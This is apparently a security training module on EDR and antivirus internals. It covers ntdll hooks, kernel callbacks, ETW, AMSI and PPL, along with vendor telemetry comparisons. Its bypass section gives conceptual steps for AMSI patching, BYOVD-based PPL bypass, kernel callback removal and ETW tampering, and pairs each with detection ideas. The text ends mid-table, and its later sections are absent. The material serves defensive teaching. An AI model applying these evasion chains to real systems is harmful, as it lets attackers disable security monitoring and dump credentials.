<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# EDR/AV Internals Deep Dive

**Training Module — NERF Security Training**
**Date**: 2026-03-14
**Classification**: RED + BLUE + PURPLE (Offensive understanding, Defensive deployment)

---

## Table of Contents

1. [EDR Architecture Overview](#1-edr-architecture-overview)
2. [How EDR Hooks Work](#2-how-edr-hooks-work)
3. [EDR Telemetry Sources](#3-edr-telemetry-sources)
4. [Common EDR Products and Capabilities](#4-common-edr-products-and-capabilities)
5. [AV Scanning Methods](#5-av-scanning-methods)
6. [Kernel-Level Protections](#6-kernel-level-protections)
7. [EDR Bypass Techniques Mapped to Detection Gaps](#7-edr-bypass-techniques-mapped-to-detection-gaps)
8. [Process Injection Variants and Detection](#8-process-injection-variants-and-detection)
9. [Anti-Analysis Techniques from the Detection Perspective](#9-anti-analysis-techniques-from-the-detection-perspective)
10. [EDR Deployment Best Practices](#10-edr-deployment-best-practices)
11. [EDR Tuning for SOC Teams](#11-edr-tuning-for-soc-teams)
12. [Detection Engineering with Sigma and EQL](#12-detection-engineering-with-sigma-and-eql)
13. [References and Sources](#13-references-and-sources)

---

## 1. EDR Architecture Overview

Modern EDR products operate across multiple layers of the Windows operating system to achieve comprehensive visibility. Understanding this architecture is critical for both offense (identifying blind spots) and defense (ensuring coverage).

### Layered Detection Model

```
+------------------------------------------------------------------+
|  CLOUD BACKEND                                                    |
|  - ML models, threat intel, behavioral analytics                  |
|  - Sandbox detonation, reputation lookup                          |
|  - Cross-tenant detection correlation                             |
+------------------------------------------------------------------+
         ^                    ^                    ^
         | Telemetry upload   | Verdict request    | Rule updates
         v                    v                    v
+------------------------------------------------------------------+
|  USER-MODE AGENT (Ring 3)                                         |
|  - Injected DLLs in every process (ntdll hooks)                   |
|  - AMSI provider integration                                      |
|  - ETW consumer (user-mode providers)                             |
|  - Script content inspection (PowerShell, WMI, .NET)              |
|  - Import Address Table (IAT) hooking                             |
+------------------------------------------------------------------+
         ^                    ^                    ^
         | Syscall interception| ETW events        | Callback data
         v                    v                    v
+------------------------------------------------------------------+
|  KERNEL-MODE DRIVER (Ring 0)                                      |
|  - Process/Thread/Image notification callbacks                    |
|  - Object manager callbacks (handle operations)                   |
|  - Registry notification callbacks                                |
|  - Minifilter driver (file I/O interception)                      |
|  - ETW Threat Intelligence provider (kernel-level)                |
|  - Network filter (WFP callouts, TDI/NDIS)                       |
+------------------------------------------------------------------+
         ^                    ^
         | Hardware events     | Hypervisor telemetry
         v                    v
+------------------------------------------------------------------+
|  HYPERVISOR / VBS LAYER (Ring -1)                                 |
|  - Credential Guard (isolated LSASS)                              |
|  - HVCI (Hypervisor-enforced Code Integrity)                      |
|  - Secure Kernel (isolated trust boundary)                        |
+------------------------------------------------------------------+
```

### Core Components

| Component | Purpose | Ring Level |
|-----------|---------|------------|
| Agent service | Orchestration, policy enforcement, telemetry upload | Ring 3 |
| Injected DLLs | Usermode API hooking (ntdll, kernel32) | Ring 3 |
| Kernel driver | Notification callbacks, minifilter, ETW TI | Ring 0 |
| Network driver | WFP callouts for connection monitoring | Ring 0 |
| Cloud backend | ML inference, threat intel, sandbox | N/A |

---

## 2. How EDR Hooks Work

### 2.1 User-Mode Hooks on ntdll.dll

EDR products inject a DLL into every process at creation time (via image load notification callbacks). This DLL places inline hooks (detours) on critical ntdll.dll functions — the lowest user-mode layer before syscalls enter the kernel.

**Hooking Mechanism:**

```
Original ntdll!NtAllocateVirtualMemory:
    4C 8B D1              mov r10, rcx
    B8 18 00 00 00        mov eax, 0x18    ; syscall number
    0F 05                 syscall
    C3                    ret

Hooked ntdll!NtAllocateVirtualMemory:
    E9 XX XX XX XX        jmp EDR_Hook_NtAllocateVirtualMemory  ; 5-byte detour
    90                    nop
    0F 05                 syscall
    C3                    ret
```

The hook redirects execution to the EDR's analysis function, which inspects arguments (target process, memory permissions, size), logs telemetry, applies policy decisions (allow/block), then optionally calls the original function via a trampoline.

**Commonly Hooked ntdll Functions (across EDR products):**

| Function | Purpose Monitored | Products Hooking |
|----------|-------------------|-----------------|
| `NtAllocateVirtualMemory` | Memory allocation (shellcode staging) | CrowdStrike, SentinelOne, Sophos, Carbon Black, Symantec |
| `NtProtectVirtualMemory` | Memory permission changes (RW->RX) | Nearly all EDRs |
| `NtWriteVirtualMemory` | Cross-process memory writes (injection) | Nearly all EDRs |
| `NtCreateThreadEx` | Remote thread creation (injection) | Nearly all EDRs |
| `NtQueueApcThread` | APC injection | SentinelOne, CrowdStrike, Cylance |
| `NtMapViewOfSection` | Section mapping (process hollowing) | SentinelOne, Sophos, ESET |
| `NtCreateSection` | Section creation for image mapping | SentinelOne, Sophos |
| `NtOpenProcess` | Process handle acquisition | Most EDRs |
| `NtCreateFile` | File creation/access | Sophos, Bitdefender |
| `NtReadVirtualMemory` | Memory reads (credential dumping) | CrowdStrike, Cortex XDR |
| `NtSetContextThread` | Thread context manipulation (hijacking) | SentinelOne, CrowdStrike |
| `NtResumeThread` | Thread resumption (hollowing completion) | Most EDRs |
| `NtCreateUserProcess` | Process creation | Several EDRs |

**EDR-Specific Injected DLLs:**

| EDR Product | Injected DLL(s) | Notes |
|-------------|-----------------|-------|
| CrowdStrike | `CrowdStrike\csagent.dll` | Newer versions rely more on kernel callbacks |
| SentinelOne | `SentinelOne\SentinelAgent.dll` | Extensive ntdll hook coverage |
| Sophos | `Sophos\sophos_detour_x64.dll` | Also hooks kernel32 functions |
| Carbon Black | `CarbonBlack\cbk7.dll` | Process and memory focus |
| Cylance | `Cylance\CylanceSvc64.dll` | ML-focused, fewer hooks |
| Symantec/Broadcom | `Symantec\sysfer.dll` | IAT + inline hooks |
| ESET | `ESET\eOPPHook.dll` | Hooks network + process APIs |
| Bitdefender | `Bitdefender\atcuf64.dll` | File + process hooks |
| Cortex XDR | Kernel-mode hooks primarily | Cannot be unhooked from user-mode |
| CheckPoint SandBlast | `CheckPoint\SBHook64.dll` | Sandboxing focus |

[CONFIRMED] — Source: Mr-Un1k0d3r/EDRs repository, hook_finder64.exe output against multiple EDR products.

### 2.2 Kernel Notification Callbacks

The Windows kernel provides official callback mechanisms that EDR drivers register to receive notifications about system events. These are the primary detection backbone.

**Process Notification Callbacks** — `PsSetCreateProcessNotifyRoutine(Ex)`
- Fires on every process creation/termination
- Provides: process ID, parent process ID, image file name, command line (Ex2 variant)
- Stored in undocumented kernel array: `PspCreateProcessNotifyRoutine`
- Up to 64 callback slots available

**Thread Notification Callbacks** — `PsSetCreateThreadNotifyRoutine(Ex)`
- Fires on every thread creation/termination
- Provides: process ID, thread ID, creation flag
- Stored in: `PspCreateThreadNotifyRoutine`
- Critical for detecting remote thread creation (injection indicator)

**Image Load Notification Callbacks** — `PsSetLoadImageNotifyRoutine(Ex)`
- Fires on every DLL/image load into any process
- Provides: image name, image base address, image size, process ID
- Stored in: `PspLoadImageNotifyRoutine`
- Used by EDRs to: inject monitoring DLLs, detect reflective DLL loading, track loaded modules

**Object Manager Callbacks** — `ObRegisterCallbacks`
- Intercepts handle operations on Process and Thread objects
- Can strip handle access rights (e.g., remove `PROCESS_VM_WRITE` to prevent injection)
- Requires altitude registration
- Used to protect EDR processes from termination and LSASS from memory access

**Registry Notification Callbacks** — `CmRegisterCallbackEx`
- Fires on all registry key/value operations (create, open, set, delete, query, enumerate)
- Can block or modify operations pre/post
- Critical for detecting persistence via Run keys, services, scheduled tasks

**Minifilter Callbacks** — Filter Manager framework
- File system filter driver model replacing legacy file system filters
- Registers pre/post operation callbacks for IRP major function codes:
  - `IRP_MJ_CREATE` — file open/create
  - `IRP_MJ_WRITE` — file write
  - `IRP_MJ_SET_INFORMATION` — file rename/delete
  - `IRP_MJ_READ` — file read
- Each minifilter has an **altitude** (numeric priority) determining callback order
- Microsoft publishes allocated altitudes for FSFilter Anti-Virus (320000-329999) and Activity Monitor (360000-389999) categories
- Over 1000 known security driver names registered at these altitudes

### 2.3 ETW (Event Tracing for Windows) Providers

ETW is a high-performance kernel-level tracing infrastructure. EDRs consume events from multiple providers.

**Key ETW Providers for EDR:**

| Provider | GUID | Telemetry |
|----------|------|-----------|
| Microsoft-Windows-Kernel-Process | `{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}` | Process/thread lifecycle |
| Microsoft-Windows-Kernel-File | `{EDD08927-9CC4-4E65-B970-C2560FB5C289}` | File operations |
| Microsoft-Windows-Kernel-Registry | `{70EB4F03-C1DE-4F73-A051-33D13D5413BD}` | Registry operations |
| Microsoft-Windows-Kernel-Network | `{7DD42A49-5329-4832-8DFD-43D979153A88}` | Network activity |
| Microsoft-Windows-Threat-Intelligence | N/A (kernel-only) | Protected process operations, memory access |
| Microsoft-Windows-DNS-Client | `{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}` | DNS resolution |
| Microsoft-Windows-PowerShell | `{A0C1853B-5C40-4B15-8766-3CF1C58F985A}` | PowerShell execution |
| Microsoft-Antimalware-Scan-Interface | `{2A576B87-09A7-520E-C21A-4942F0271D67}` | AMSI scan content |
| Microsoft-Windows-WMI-Activity | `{1418EF04-B0B4-4623-BF7E-D74AB47BBDAA}` | WMI operations |

**ETW Threat Intelligence (ETW TI) Provider** — [CRITICAL]

This is a special kernel-mode-only ETW provider that provides telemetry on:
- `NtReadVirtualMemory` / `NtWriteVirtualMemory` calls (credential dumping detection)
- Process handle operations with specific access rights
- Allocate/protect virtual memory in remote processes
- Suspicious syscall origins (direct syscalls from non-ntdll memory)

Only processes running as PPL (Protected Process Light) with `PsProtectedSignerAntimalware` or higher can register as consumers. This makes it extremely valuable for EDR and extremely targeted for bypass.

[CONFIRMED] — Source: EDRSandblast documentation on ETW TI patching.

### 2.4 AMSI (Antimalware Scan Interface)

AMSI provides a standardized interface for applications to request malware scans of content before execution.

**AMSI Integration Points:**
- PowerShell — scans script blocks before execution
- .NET — scans assemblies loaded via `Assembly.Load()`
- VBScript/JScript — scans script content via Windows Script Host
- Office VBA Macros — scans macro content
- WMI — scans WMI script content
- User-mode application opt-in via `AmsiScanBuffer()`

**How AMSI Works:**
1. Application calls `AmsiScanBuffer()` or `AmsiScanString()` with content
2. AMSI routes to registered AV provider DLL (`amsi.dll` loads provider)
3. Provider scans content against signatures, heuristics, ML model
4. Returns verdict: `AMSI_RESULT_CLEAN`, `AMSI_RESULT_NOT_DETECTED`, `AMSI_RESULT_DETECTED`
5. Application enforces verdict (block/allow execution)

---

## 3. EDR Telemetry Sources

### 3.1 Complete Telemetry Taxonomy

Based on the EDR Telemetry Project (tsale/EDR-Telemetry), modern EDRs are evaluated across **16 primary telemetry categories**:

#### Process Execution
| Subcategory | Description | Detection Value |
|-------------|-------------|-----------------|
| Process Creation | Process start with command line, parent PID | Foundation of all behavioral detection |
| Process Termination | Process exit events | Timeline reconstruction |
| Process Access | Cross-process handle operations | Injection and credential theft detection |
| Image/Library Load | DLL and driver loading events | Reflective loading, DLL side-loading |
| Win32 API Telemetry | High-level API call monitoring | Behavioral analysis beyond syscalls |
| Remote Thread Creation | CreateRemoteThread and variants | Process injection primary indicator |
| Process Tampering | Hollowing, ghosting, herpaderping | Advanced injection detection |
| Process Call Stacks | Stack trace at time of event | Determines if call originates from legitimate code |

#### File Operations
| Subcategory | Description |
|-------------|-------------|
| File Creation | New files written to disk |
| File Open | File access events |
| File Deletion | File removal (evidence destruction, ransomware) |
| File Modification | Content changes |
| File Rename | Name changes (ransomware encryption pattern) |

#### Registry Changes
| Subcategory | Description |
|-------------|-------------|
| Key/Value Creation | New persistence entries |
| Key/Value Modification | Changed autorun entries |
| Key/Value Deletion | Covering tracks |

#### Network Connections
| Subcategory | Description |
|-------------|-------------|
| TCP Connections | Outbound/inbound TCP with IP:port |
| UDP Connections | DNS, exfiltration channels |
| URL Access | HTTP/HTTPS URL logging |
| DNS Queries | Domain resolution telemetry |
| File Downloads | Network-sourced file events |

#### Authentication and Account Activity
| Subcategory | Description |
|-------------|-------------|
| Local Account Creation/Modification/Deletion | Unauthorized account manipulation |
| Login/Logoff Events | Access tracking |

#### Additional Categories
| Category | Coverage |
|----------|----------|
| Scheduled Task Activity | Task creation, modification, deletion |
| Service Activity | Service install, modification, deletion |
| Driver/Module Activity | Driver load, unload, modification |
| Device Operations | USB mount, virtual disk mount |
| Named Pipe Activity | Pipe creation/connection (C2, lateral movement) |
| WMI Activity | Consumer-filter binding, event creation |
| BITS Jobs | Background transfer service abuse |
| PowerShell Activity | Script block logging, raw content |
| Hash Algorithms | MD5, SHA1, SHA256, IMPHASH, JA3/JA3s |
| EDR SysOps | Agent health, tampering detection |

### 3.2 Telemetry Scoring Methodology

The EDR Telemetry Project scores each feature:
- **Yes** (1.0) — Full native support
- **Partially** (0.5) — Requires additional configuration, event log forwarding, or limited coverage
- **No** (0.0) — Not available

Feature weights are applied (Process Creation: 1.0, File Operations: 1.0, DNS: 1.0, etc.) and total scores calculated per product.

---

## 4. Common EDR Products and Capabilities

### 4.1 CrowdStrike Falcon

**Architecture:**
- Lightweight user-mode agent with kernel driver (`csagent.sys`)
- Newer versions shifting from user-mode hooks to kernel callback reliance
- Cloud-first architecture — heavy ML inference server-side
- Falcon OverWatch (managed threat hunting)

**Telemetry Strengths:**
- Comprehensive process creation with full command line and ancestry
- Process call stack telemetry (differentiates legitimate vs injected calls)
- File operations, registry, network (TCP + DNS)
- Driver load monitoring
- Strong hash algorithm support (SHA256, IMPHASH)

**Telemetry Gaps:**
- Some advanced features require Falcon Insight XDR tier
- Historical gap in Linux visibility (improving)

**Detection Approach:**
- Indicators of Attack (IOA) — behavioral chains, not single events
- Cloud-based ML for PE classification
- Script content analysis (PowerShell, WMI)
- Kernel-level process tree tracking

### 4.2 Microsoft Defender for Endpoint (MDE)

**Architecture:**
- Built into Windows — deepest OS integration of any EDR
- Kernel driver (`WdFilter.sys`) as minifilter + ETW consumer
- `MsSense.exe` service for telemetry collection and upload
- Leverages ETW TI provider natively (PPL signed)
- Cloud: Microsoft Intelligent Security Graph

**Telemetry Strengths:**
- Broadest Windows telemetry (native OS access)
- Process creation, file, registry, network, user account activity
- Group policy modification detection
- Hash algorithms: MD5, SHA1, SHA256
- Deep PowerShell and .NET visibility via AMSI integration
- Script content logging with deobfuscation

**Telemetry Gaps:**
- UDP connection telemetry absent in some configurations
- Process call stacks not natively exposed in standard telemetry
- Named pipe visibility requires additional configuration
- Linux/macOS agent less mature than Windows

**Detection Approach:**
- KQL-based detection rules in Advanced Hunting
- Automated Investigation and Response (AIR)
- MITRE ATT&CK-aligned detections
- Threat and Vulnerability Management (TVM) integration

**Key MDE Telemetry Tables (KQL):**

| Table | Events |
|-------|--------|
| `DeviceProcessEvents` | Process creation with command line, parent, hashes |
| `DeviceFileEvents` | File creation, modification, deletion |
| `DeviceRegistryEvents` | Registry key/value operations |
| `DeviceNetworkEvents` | TCP/UDP connections with remote IP:port |
| `DeviceLogonEvents` | Authentication events |
| `DeviceImageLoadEvents` | DLL/driver loading |
| `DeviceEvents` | Miscellaneous (named pipes, LDAP, DNS, etc.) |
| `DeviceFileCertificateInfo` | Code signing information |
| `AlertEvidence` | Correlated alert data |

### 4.3 SentinelOne Singularity

**Architecture:**
- Autonomous agent — can operate fully offline
- Kernel driver + user-mode hooks (extensive ntdll coverage)
- Storyline technology — automatic event correlation into attack narratives
- Cloud: Singularity Data Lake

**Telemetry Strengths:**
- Extensive process monitoring with behavioral correlation
- Strong file operation coverage
- Network TCP monitoring
- Group policy modification detection (unique among peers)
- Automated remediation (rollback via VSS)

**Telemetry Gaps:**
- DNS query telemetry missing in base configuration
- URL access tracking absent
- Some user account features incomplete
- Named pipe activity limited

**Detection Approach:**
- Static AI (PE analysis pre-execution)
- Behavioral AI (execution-time analysis)
- Storyline correlation (automatic attack graph)
- Deep Visibility queries (custom hunting)

### 4.4 VMware Carbon Black (now Broadcom)

**Architecture:**
- Sensor + cloud backend (CB Response / CB Defense)
- Kernel driver for system event collection
- Streaming prevention — real-time cloud classification

**Telemetry Strengths:**
- Process creation and ancestry tracking
- Network monitoring (TCP + UDP)
- File operations
- Registry monitoring

**Telemetry Gaps:**
- Scheduled task creation not natively monitored
- Service modification limited
- Process termination telemetry incomplete
- Driver activity monitoring gaps

**Detection Approach:**
- Reputation-based (cloud hash lookup)
- Behavioral rules (streaming prevention)
- Threat intel feed integration
- Query-based hunting (CB Query Language)

### 4.5 Palo Alto Cortex XDR

**Architecture:**
- Agent with kernel-mode hooks (notable: hooks set in kernel, cannot be unhooked from user-mode)
- XDR correlation across network, endpoint, cloud
- BIOC (Behavioral Indicators of Compromise) engine

**Telemetry Strengths:**
- Process and file operations via kernel hooks
- Network monitoring with firewall correlation
- Registry activity
- Cross-data-source correlation (endpoint + network + cloud)

**Telemetry Gaps:**
- Several advanced features pending documentation
- Win32 API telemetry unclear
- WMI activity coverage incomplete
- Event log dependency for some features

**Detection Approach:**
- Analytics engine with ML
- BIOC rules (behavioral sequences)
- XQL queries for hunting
- Integration with Palo Alto NGFW for network context

### 4.6 Elastic Security (Elastic Defend)

**Architecture:**
- Open-source heritage — transparent detection rules
- Agent with kernel driver
- EQL (Event Query Language) for behavioral detection
- Elasticsearch backend for hunting

**Telemetry Strengths:**
- Process call stacks (unique capability)
- IMPHASH support
- Process tampering detection
- Comprehensive file and registry coverage

**Detection Rule Stats (v1.0.111):**
- 1,208 total behavioral rules
- Windows: 757 rules
- Linux: 168 rules
- macOS: 283 rules
- Top category: Defense Evasion (422 rules)
- True positive rate target: >= 70%

**Detection Approach:**
- EQL behavioral rules (event sequences and correlations)
- YARA rules for static malware detection (89.3% of rule artifacts)
- Ransomware behavioral protection (dedicated module)
- Open rules — publicly auditable and customizable

### 4.7 Cross-Product Telemetry Gaps

**Industry-wide blind spots (no vendor universally covers):**
- Driver unload events
- Group policy modification (only SentinelOne, MDE)
- Service deletion events
- Process call stacks (only CrowdStrike, Elastic)
- Named pipe connection events (sparse coverage)
- WMI consumer-to-filter binding (sparse)
- BITS job execution (sparse)

[CONFIRMED] — Source: tsale/EDR-Telemetry project, Windows telemetry comparison.

---

## 5. AV Scanning Methods

### 5.1 Signature-Based Detection

**Static Signatures:**
- Byte-pattern matching against known malware samples
- YARA rules for flexible pattern matching with conditions
- Hash-based lookups (MD5, SHA256) against known-bad databases
- Import hash (IMPHASH) for identifying malware families by import table structure

**Limitations:**
- Trivially bypassed by recompilation, packing, polymorphism
- Zero-day malware has no signature
- Only effective against known threats
- High volume of signatures needed (~1B+ samples in modern databases)

### 5.2 Heuristic Analysis

**Static Heuristics:**
- PE header anomalies (section names, entropy, characteristics)
- Import table analysis (suspicious API combinations)
- String analysis (URLs, commands, encoded payloads)
- Packer/crypter detection (high entropy sections, small code + large data)
- Certificate validation (unsigned, expired, revoked, stolen certs)

**Dynamic Heuristics:**
- API call sequence analysis during controlled execution
- Memory allocation patterns (RWX, large allocations)
- File system behavior (rapid file creation/encryption)
- Network behavior (beaconing patterns, DNS anomalies)

### 5.3 Behavioral Detection

Modern behavioral engines monitor execution in real-time and correlate events into attack patterns:

**Behavioral Indicators:**
- Process injection chains (alloc -> write -> protect -> thread)
- Credential access patterns (LSASS access from non-system process)
- Persistence installation (Run key + service + scheduled task)
- Lateral movement signatures (remote service creation + file copy + execution)
- Defense evasion (timestamp stomping, log clearing, EDR tampering)

**Behavioral Rule Example (Elastic EQL):**
```
sequence by process.entity_id with maxspan=1m
  [process where event.action == "start" and
   process.name == "powershell.exe" and
   process.parent.name == "winword.exe"]
  [network where destination.port == 443 and
   not destination.ip : "10.*"]
```

### 5.4 Cloud Lookup / Reputation

**How Cloud Verdict Works:**
1. Agent computes file hash before/during execution
2. Hash sent to cloud backend
3. Cloud checks against:
   - Known malware hash database
   - Known clean (whitelisted) hash database
   - Prevalence data (first-seen, geo distribution, enterprise adoption)
   - ML classification model output
4. Verdict returned: Clean / Malicious / Unknown / Suspicious
5. Unknown files optionally uploaded for sandbox detonation

**Cloud Sandbox Detonation:**
- File executed in instrumented VM
- Behavioral recording for 30-120 seconds
- API call monitoring, network capture, file/registry changes
- Verdict generated from behavioral analysis
- Results cached for future lookups

### 5.5 AMSI (Antimalware Scan Interface)

As detailed in Section 2.4, AMSI provides content-level scanning at the point of execution for scripts, .NET assemblies, and macros. This catches fileless attacks that bypass traditional file-scanning approaches.

**AMSI Bypass Techniques (for detection awareness):**
- `AmsiScanBuffer` patching (writing `0xC3` ret to function entry)
- `amsi.dll` unhooking/unloading
- `AmsiInitFailed` flag manipulation in PowerShell context
- String obfuscation to evade AMSI signatures
- CLR hooking to bypass .NET AMSI

**Detection of AMSI Bypass:**
- Monitor for `amsi.dll` memory modifications
- Detect suspicious PowerShell reflection patterns (`[Ref].Assembly.GetType`)
- Track `VirtualProtect` calls targeting AMSI module memory range
- ETW provider for AMSI scan failures/errors

---

## 6. Kernel-Level Protections

### 6.1 Protected Process Light (PPL)

PPL is a Windows protection mechanism that restricts which processes can obtain handles to protected processes.

**Protection Levels (descending privilege):**

| Level | Signer | Example |
|-------|--------|---------|
| PsProtectedSignerWinTcb | Windows TCB (Trusted Computer Base) | System, csrss.exe |
| PsProtectedSignerWindows | Windows | smss.exe |
| PsProtectedSignerAntimalware | Early Launch Antimalware | EDR kernel drivers |
| PsProtectedSignerLsa | LSA protection | lsass.exe (RunAsPPL) |
| PsProtectedSignerApp | App protection | Third-party apps |

**PPL Rules:**
- A process can only open a handle to another PPL process if its signer level is equal or higher
- EDR processes running as `PsProtectedSignerAntimalware` can access LSASS (`PsProtectedSignerLsa`)
- Standard admin processes cannot access PPL-protected processes even with `SeDebugPrivilege`

**PPL Bypass (EDRSandblast approach):**
1. Load vulnerable signed driver (BYOVD)
2. Use driver's arbitrary kernel read/write primitive
3. Locate attacker process's `_EPROCESS` structure via `NtQuerySystemInformation`
4. Overwrite `_PS_PROTECTION` field to `PsProtectedSignerWinTcb-Light`
5. Attacker process now dominates all PPL levels including LSASS

[CONFIRMED] — Source: wavestone-cdt/EDRSandblast, PPL bypass implementation.

### 6.2 Kernel Code Integrity (CI) and Driver Signing

**Driver Signature Enforcement (DSE):**
- All kernel drivers must be signed by Microsoft or WHQL-certified
- Enforced by `ci.dll` (Code Integrity module)
- Boot-time: verified by Secure Boot chain
- Runtime: verified by CI before driver load

**Hypervisor-Enforced Code Integrity (HVCI):**
- Extends CI to kernel-mode code pages
- Kernel memory marked as non-executable cannot be changed to executable
- Prevents kernel exploits from executing shellcode in writable memory
- Enforced by Secure Kernel running in VTL1 (Virtual Trust Level 1)

**BYOVD (Bring Your Own Vulnerable Driver) Bypass:**
- Attacker loads a legitimately signed but vulnerable driver
- Driver has arbitrary read/write primitives (design flaws, not signing flaws)
- CI/DSE allows the load because the driver is properly signed
- Attacker exploits the driver's vulnerability for kernel memory access

**Known Vulnerable Drivers Used:**

| Driver | Vendor | Capability |
|--------|--------|------------|
| `RTCore64.sys` | MSI | DWORD read/write (requires multiple IOCTLs) |
| `DBUtil_2_3.sys` | Dell | Arbitrary-size atomic read/write |
| `echo_driver.sys` | — | Read/write primitive |
| `wnBio.sys` | — | Read/write primitive |
| `GPU-Z.sys` | TechPowerUp | Read/write primitive |

Microsoft maintains a **Vulnerable Driver Blocklist** but coverage is incomplete, and the list requires manual updates via Windows Update.

### 6.3 Secure Boot

**Chain of Trust:**
```
UEFI Firmware (ROM) -> UEFI Secure Boot (verify bootloader signature)
  -> Windows Boot Manager (bootmgfw.efi) -> Boot Configuration
    -> Windows Loader (winload.efi) -> Kernel + Boot Drivers
      -> ELAM (Early Launch Antimalware) -> Third-party drivers
```

**ELAM (Early Launch Antimalware):**
- EDR driver loads before any third-party drivers
- Classifies boot-start drivers as Known Good / Known Bad / Unknown
- Can prevent known-malicious drivers from loading
- Required for `PsProtectedSignerAntimalware` registration

### 6.4 Virtualization-Based Security (VBS)

**Components:**
- **Credential Guard**: Isolates LSASS secrets in VTL1 (`LsaIso.exe`), NTLM hashes and Kerberos TGTs unavailable to Ring 0 code
- **HVCI**: Prevents unsigned code execution in kernel mode
- **Secure Kernel**: Isolated kernel in VTL1 that validates VTL0 kernel operations

**Impact on Attacks:**
- Credential dumping from LSASS yields encrypted blobs, not plaintext hashes (with Credential Guard)
- Kernel exploits cannot allocate executable memory for shellcode (with HVCI)
- Kernel callback removal detectable by Secure Kernel integrity checks

### 6.5 PatchGuard (Kernel Patch Protection)

- Periodically verifies integrity of critical kernel structures
- Monitors: SSDT, IDT, GDT, kernel code sections, MSRs, callback arrays
- Triggers Bug Check `0x109` (CRITICAL_STRUCTURE_CORRUPTION) on tamper detection
- Check interval is randomized to prevent timing attacks
- EDRSandblast techniques note: some callback manipulations must race PatchGuard

**PatchGuard Limitations:**
- Not real-time — periodic checks with random intervals
- Can be bypassed with precise timing
- Does not monitor all kernel structures equally
- No VBS-backed enforcement in non-HVCI configurations

---

## 7. EDR Bypass Techniques Mapped to Detection Gaps

### 7.1 User-Mode Hook Bypass

| Technique | How It Works | Detection Opportunity | MITRE |
|-----------|-------------|----------------------|-------|
| **Direct Syscalls** | Reimplement syscall stubs in assembly, bypassing ntdll entirely | Detect syscalls originating from non-ntdll memory regions (ETW TI, call stack analysis) | T1106 |
| **Unhooking ntdll** | Read clean ntdll from disk, overwrite hooked .text section | Detect `NtProtectVirtualMemory` on ntdll memory range; detect file reads of `\KnownDlls\ntdll.dll` or `C:\Windows\System32\ntdll.dll` | T1562.001 |
| **Duplicate DLL Loading** | Copy ntdll.dll to new filename, load via `LoadLibrary` | Detect loading of non-standard ntdll copies; file copy of system DLLs | T1562.001 |
| **Manual DLL Mapping** | Manually map ntdll from disk without `LoadLibrary` (no image load callback) | Detect suspicious memory regions with ntdll-like content; RX allocations matching DLL size | T1055.001 |
| **EDR Trampoline Reuse** | Locate EDR's own trampoline code, call it to bypass hook | No allocation needed — very difficult to detect; rely on behavioral detection | T1562.001 |
| **Custom Trampoline** | Copy original bytes + jump past hook | Detect executable memory allocation in non-module regions | T1562.001 |
| **Hell's Gate / Halo's Gate** | Dynamically resolve syscall numbers from ntdll export table, even when hooked | ETW TI + call stack analysis showing syscalls from non-ntdll | T1106 |

**Syscall Number Resolution Methods (from EDRs repo):**
- Sort ntdll Zw* exports by address — syscall numbers correspond to sort order
- Scan for `mov rax, <syscall_number>` pattern in function body
- Read clean ntdll from disk for reference
- Cross-validate between methods for reliability

### 7.2 Kernel Callback Removal

| Technique | Target | Effect | Detection | MITRE |
|-----------|--------|--------|-----------|-------|
| **Process Callback Removal** | `PspCreateProcessNotifyRoutine` | EDR blind to new processes | ELAM driver integrity check, PatchGuard (eventual), kernel callback enumeration tools | T1562.001 |
| **Thread Callback Removal** | `PspCreateThreadNotifyRoutine` | EDR blind to thread creation (injection invisible) | Same as above | T1562.001 |
| **Image Callback Removal** | `PspLoadImageNotifyRoutine` | EDR cannot inject monitoring DLLs into new processes | DLL presence verification, ELAM | T1562.001 |
| **Object Callback Disabling** | `ObRegisterCallbacks` entries | Handle filtering removed — LSASS/EDR accessible | PPL verification, handle audit | T1562.001 |
| **Registry Callback Removal** | `CmRegisterCallbackEx` entries | Persistence via registry invisible | Registry audit via alternative source | T1562.001 |
| **Minifilter Unlinking** | `_FLT_VOLUME.Callbacks.OperationLists` | File I/O invisible to EDR | Minifilter altitude verification, file integrity monitoring | T1562.001 |

**Implementation Details (RealBlindingEDR + EDRSandblast):**
1. Load vulnerable signed driver (BYOVD) — `echo_driver.sys`, `DBUtil_2_3.sys`, `RTCore64.sys`
2. Use driver's read/write primitive to access kernel memory
3. Enumerate callback arrays using ntoskrnl symbol offsets
4. Identify EDR-registered callbacks (match against known EDR driver names)
5. Unlink or zero out EDR callback entries
6. EDR agent continues running but receives no kernel notifications — **blinded**

**Object Callback Disabling — Three Methods (EDRSandblast):**
1. **Enabled Flag Toggle**: Set `OB_CALLBACK_ENTRY.Enabled = 0` — safest, per-callback granularity
2. **CallbackList Unlinking**: Point doubly-linked list `Flink`/`Blink` to head — affects all callbacks, not just EDR
3. **SupportsObjectCallbacks Flag**: Clear `ObjectTypeFlags` bit — disables callback support entirely, but PatchGuard monitors this

### 7.3 ETW Tampering

| Technique | Effect | Detection |
|-----------|--------|-----------|
| **ETW TI Provider Patching** | Set `ProviderEnableInfo = 0` in kernel | `NtReadVirtualMemory` on LSASS undetected; monitor for ETW provider state changes |
| **User-mode ETW Patching** | Patch `EtwEventWrite` in ntdll | Events from hooked process stop flowing; detect ntdll .text modifications |
| **ETW Session Manipulation** | Disable or redirect ETW sessions | Monitor ETW session integrity via separate watchdog |
| **Provider GUID Manipulation** | Alter provider registration | Cross-reference expected vs. actual provider registrations |

### 7.4 PPL Bypass for Credential Access

**Attack Chain:**
1. BYOVD: Load vulnerable driver -> kernel r/w primitive
2. Locate attacker `_EPROCESS` via `NtQuerySystemInformation` (SystemHandleInformation)
3. Overwrite `_PS_PROTECTION` in `_EPROCESS` to `PsProtectedSignerWinTcb-Light`
4. Now open LSASS with `PROCESS_VM_READ` — PPL check passes
5. Dump credentials via `MiniDumpWriteDump` or direct memory parsing

**Detection:**
- Monitor for vulnerable driver loading (driver name + hash blocklist)
- Detect `_EPROCESS` protection level changes (kernel integrity monitor)
- Alert on non-standard processes accessing LSASS
- Credential Guard makes this attack yield encrypted blobs instead of plaintext

### 7.5 Bypass Technique to Detection Gap Matrix

```
Technique                    | Kernel CB | ETW TI | User Hook | Minifilter | PPL
-----------------------------|-----------|--------|-----------|------------|----
Direct Syscalls              |     -     | DETECT |  BYPASS   |     -      |  -
ntdll Unhooking              |     -     |   -    |  BYPASS   |     -      |  -
Callback Removal (BYOVD)     |  BYPASS   |   -    |     -     |     -      |  -
